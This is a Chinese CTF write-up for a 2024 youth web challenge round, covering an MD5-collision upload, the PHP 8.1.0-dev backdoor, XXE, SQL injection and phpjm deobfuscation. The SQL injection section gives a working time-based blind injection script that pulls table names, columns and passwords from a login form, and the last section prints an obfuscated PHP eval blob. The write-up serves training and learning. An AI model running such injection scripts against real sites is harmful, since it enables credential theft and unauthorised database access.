【Web】青少年CTF擂台挑战赛 2024 #Round 1 wp

小明 2025-05-08 02:43:55 6

好家伙,���赛结束了还有一道0解web题是吧(

随缘写点wp(简单过头,看个乐就好)

目录

EasyMD5

PHP的后门

PHP的XXE

Easy_SQLi

雏形系统


EasyMD5

进来是个文件上传界面

说是只能上传pdf,那就改Content-Type为application/pdf,改文件名后缀为.pdf

上传恶意文件即可,发现要求文件内容不一样(已经开始暗示关键在文件内容了)

随便改个1,2试试,提示我们要md5碰撞

常见的MD5碰撞

 这不直接拿flag了(

PHP的后门

bp抓包看响应头,得知php版本号 为8.1.0-dev

这个版本有个著名后门(怎么又是你)

PHP 8.1.0-dev 后门远程命令执行漏洞复现-腾讯云开发者社区-腾讯云

直接抄了打就行

PHP的XXE

进来就是个phpinfo的界面,甚至找不到XXE入口,这咋整呢

遇事不决先搜为敬

不难找到:BUUCTF-Real_buuctf xxe-CSDN博客

照着打就行,直接读本地文件

Easy_SQLi

家人们绷不住了,随手一试直接弱口令了(

测出字符型注入

走order by+union那条路子没回显

第一想法是写个时间盲注吧,回头想想其实布尔盲注也行QWQ

将错就错,贴出自己脚本吧

import requests
url = 'http://challenge.qsnctf.com:31409/login.php'
res = ""
for i in range(1, 48, 1):
    for j in range(32, 128, 1):
        # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{j},sleep(0.5),0)#'
        # payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{j},sleep(0.5),0)#"
        payload = f"if(ascii(substr((select group_concat(password) from users),{i},1))>{j},sleep(0.5),0)#"
        data = {
            'uname': "admin' and "+payload,
            'psw':123456
        }
        try:
            r = requests.post(url=url, data=data,timeout=0.2)
        except Exception as e:
            continue
        res += chr(j)
        print(res)
        break

雏形系统

进来啥也没有

这个表单也没action属性(

很明显,先信息搜集,萌新可以dirsearch扫,有点经验的师傅直接www.zip盲猜出来了

附件内容:

robots.txt

User-agent: 
Disallow: qsnctf.php

qsnctf.php

 

典啊,很典啊,建议看下面这篇文章

奇安信攻防社区-phpjm混淆解密浅谈

我们就按第一种方法来解混淆

先把qsnctf.php的eval改成echo

 

echo出来的内容:

$O0O000="KXpJtRrgqUOHcFewyoPSWnCbvkfMIdmxzsELYZBVGhDNuaATlQjiTaMhyQJUrZntqeKBsNwRckmlodVASYpWxjLEbIfCgvOFuizDPGXHwO9BitzTSmzUSgCsqp9sa3hPqg9sYgPuIsUBTDjTmHzUSmfXlgexqsfxigdTSmzUStjTSmzUSmzUSmfBYchjicAUhg5PKtG7mHzUSmzUSmzUqtCHlgPXSmQBbaFxnBNUSmzUSmzUStf1bpWMbsfpYc5XYgPolHfVa3QoZ3Qsic5kTmP7mHzUSmzUSmzUSmzUSmQ0igPxED5uIav0nXMGDeNNhtQNiaAywkfvq3AMnBNUSmzUSmzUSt0TSmzUSt0TSmzUSgFjbaFxStYomHzUSmf7mHzUSmzUSmzUqtCHlgPXSmQxIaU7mHzUSmzUSmzUqtCHlgPXSmQvI2Z7mHzUSmzUSmzUqtCHlgPXSmQMlkQPlkQMl247mHzUSmzUSmzUqtCHlgPXSgI1lpF0ic9uSe9VIgCxYth1b3GNTajTSmzUSmzUSmzUSmzUIcFNlszHRgdUCth5StFPqpPvlgP6IRfFIRLHnBNUSmzUSmzUSmzUSmzdYgvMqs0+ic5xqgCXYmUMnBNUSmzUSmzUSt0TSmzUSmzUSmfpYc5XYgPolHfMlkFBIcF0TmP7mHzUSmzUSmzUSmzUSgPpTmQ0igPxED5xIaU9wRYHl3dkhHbdYgvMqs0+bcYPwD0kIcPkitQPIc4kTGNUSmzUSmzUSmzUSmf7mHzUSmzUSmzUSmzUSmzUSmfPb2voSmQ0igPxED5MlkQPlkQMl247mHzUSmzUSmzUSmzUSt0TSmzUSmzUSmzUSmzUIcFNlszH8h+IvDL45lTf8h+SjHS7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSgFjbaFxSLQPlc8TSmzUStjTSmzUSmzUSmfBYchjicAUhgL7mHzUSmzUSmzUq3QvYgPXSgI1lpF0ic9uSe9Vb2ejleF0baQMbsUdbcF0ic9uEmzdIg8MmHzUSmzUSmzUKBNUSmzUSmzUSmzUSmfklg9HbcBUhgS7mHzUSmzUSmzUSmzUSmQHTmQdl1jBaRd7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSmQHSO0Uhe9GD1FZcsYBbaFxY29sImYYnBNUSmzUhgLUwRzda1fwZ1Qlh3CxIahubc1Ph107mHzUSmfzYc5xIahMbcWMKpZNhgLMnBNUSmzUicbUTmeMq3FPYmUdbHdMStjTSmzUSmzUSmfPb2voSmS9wD09wD09wD09wD09wD09wD1GDeNURc5BYaGUcc91qHfnbc1PSD09wD09wD09wD09wD09wD09wRS7mHzUSmf9mHzUSmfMIHUdbD09h2edlcPuhsbphgS9wRSkixepYcv1h3AUYgCxYmfdIc1oSHdTSmzUStjTSmzUSmzUSmfPb2voTmEkploPoIapHhOPHM8HTDjTSmzUSt0TmHzUSmz/wU=="; eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000), $OO0O00($O0O000,0,$OO0000))));?>

然后把这段复制下来,替换掉上面的echo语句,并将这段最后的eval改成echo即可

 

得到源码:

The End
微信